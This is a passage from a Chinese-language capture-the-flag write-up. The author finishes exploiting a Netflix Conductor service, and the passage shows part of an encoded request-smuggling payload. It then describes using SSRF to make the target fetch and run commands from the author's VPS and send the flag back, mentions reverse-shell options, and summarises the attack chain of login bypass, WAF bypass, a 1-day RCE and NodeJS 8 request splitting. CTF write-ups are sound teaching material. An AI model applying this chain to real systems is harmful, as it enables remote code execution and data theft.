protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
Step 07 开打拿 flag
首先先试试打到自己 VPS,监听一下端口看看发给 conductor 靶机的请求长什么样。
很好,POST 请求构造得很好。
然后 打给靶机。
依次执行 Step 06 中生成的两个 URL,利用 SSRF 打到 Conductor 上。
最后执行写入 /tmp/miaotony
的脚本,从而执行 VPS 上设置的命令,再从路由拿 flag。
flag{81d75716-7389-4ea0-8e48-ff50347a37c2}
好耶!
心态炸了,顺便看了看它的 /bin
和 /sbin
里有啥。
total 780
lrwxrwxrwx 1 root root 12 May 9 2019 arch -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ash -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 base64 -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 bbconfig -> /bin/busybox
-rwxr-xr-x 1 root root 796240 Jan 24 2019 busybox
lrwxrwxrwx 1 root root 12 May 9 2019 cat -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 chgrp -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 chmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 chown -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 conspy -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 cp -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 date -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 dd -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 df -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 dmesg -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 dnsdomainname -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 dumpkmap -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 echo -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ed -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 egrep -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 false -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fatattr -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fdflush -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fgrep -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fsync -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 getopt -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 grep -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 gunzip -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 gzip -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 hostname -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ionice -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 iostat -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ipcalc -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 kbd_mode -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 kill -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 link -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 linux32 -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 linux64 -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ln -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 login -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ls -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 lzop -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 makemime -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mkdir -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mknod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mktemp -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 more -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mount -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mountpoint -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mpstat -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mv -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 netstat -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 nice -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 pidof -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ping -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ping6 -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 pipe_progress -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 printenv -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ps -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 pwd -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 reformime -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 rev -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 rm -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 rmdir -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 run-parts -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 sed -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 setpriv -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 setserial -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 sh -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 sleep -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 stat -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 stty -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 su -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 sync -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 tar -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 touch -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 true -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 umount -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 uname -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 usleep -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 watch -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 zcat -> /bin/busybox
total 228
lrwxrwxrwx 1 root root 12 May 9 2019 acpid -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 adjtimex -> /bin/busybox
-rwxr-xr-x 1 root root 211304 Jan 10 2019 apk
lrwxrwxrwx 1 root root 12 May 9 2019 arp -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 blkid -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 blockdev -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 depmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fbsplash -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fdisk -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 findfs -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fsck -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 fstrim -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 getty -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 halt -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 hdparm -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 hwclock -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ifconfig -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ifdown -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ifenslave -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ifup -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 init -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 inotifyd -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 insmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ip -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ipaddr -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 iplink -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 ipneigh -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 iproute -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 iprule -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 iptunnel -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 klogd -> /bin/busybox
-rwxr-xr-x 1 root root 393 Mar 19 2019 ldconfig
lrwxrwxrwx 1 root root 12 May 9 2019 loadkmap -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 logread -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 losetup -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 lsmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mdev -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mkdosfs -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 mkfs.vfat -> /bin/busybox
-rwxr-xr-x 1 root root 13968 Jan 23 2019 mkmntdirs
lrwxrwxrwx 1 root root 12 May 9 2019 mkswap -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 modinfo -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 modprobe -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 nameif -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 nologin -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 poweroff -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 raidautorun -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 reboot -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 rmmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 route -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 setconsole -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 slattach -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 swapoff -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 swapon -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 switch_root -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 sysctl -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 syslogd -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 tunctl -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 udhcpc -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 vconfig -> /bin/busybox
lrwxrwxrwx 1 root root 12 May 9 2019 watchdog -> /bin/busybox
噢,果然没有 bash, nc, python, perl, etc. 这些,确实不怎么方便反弹 shell……
ls /etc/*-release
看看是啥发行版
3.9.4
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.9.4
PRETTY_NAME="Alpine Linux v3.9"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
Alpine Linux 文明(
小结
啊啊啊啊啊!
终于复现完了!!
这题太顶了!!!
再来回顾以下思路:
- 根据
/source
审计源码 - 利用 JavaScript 弱类型特性,绕过登录验证获得 admin 权限
- 利用 0.0.0.0,通过
/proxy
和/search
接口绕 WAF,访问/flag
拿 hint - 在 docker 内网找 Netflix Conductor 服务
- 找 Netflix Conductor 漏洞,利用一个 1day RCE 构造 payload
- 利用 NodeJS 8 的 HTTP 请求走私 / 请求拆分漏洞,通过 GET 方法走私 POST 请求
- 利用
/proxy
SSRF 给内网的 Netflix Conductor 执行远程命令,把 flag 打到自己的服务器上。
这题堆的考点有亿点点多,感觉放在 8h 的比赛里时间确实不大够。
虽然给够时间也很难做出来就是了(喵喵自己爬了
不过怎么说,复现这题的过程中确实学到了许多……
好久没做这么顶的题目了(
(溜了溜了喵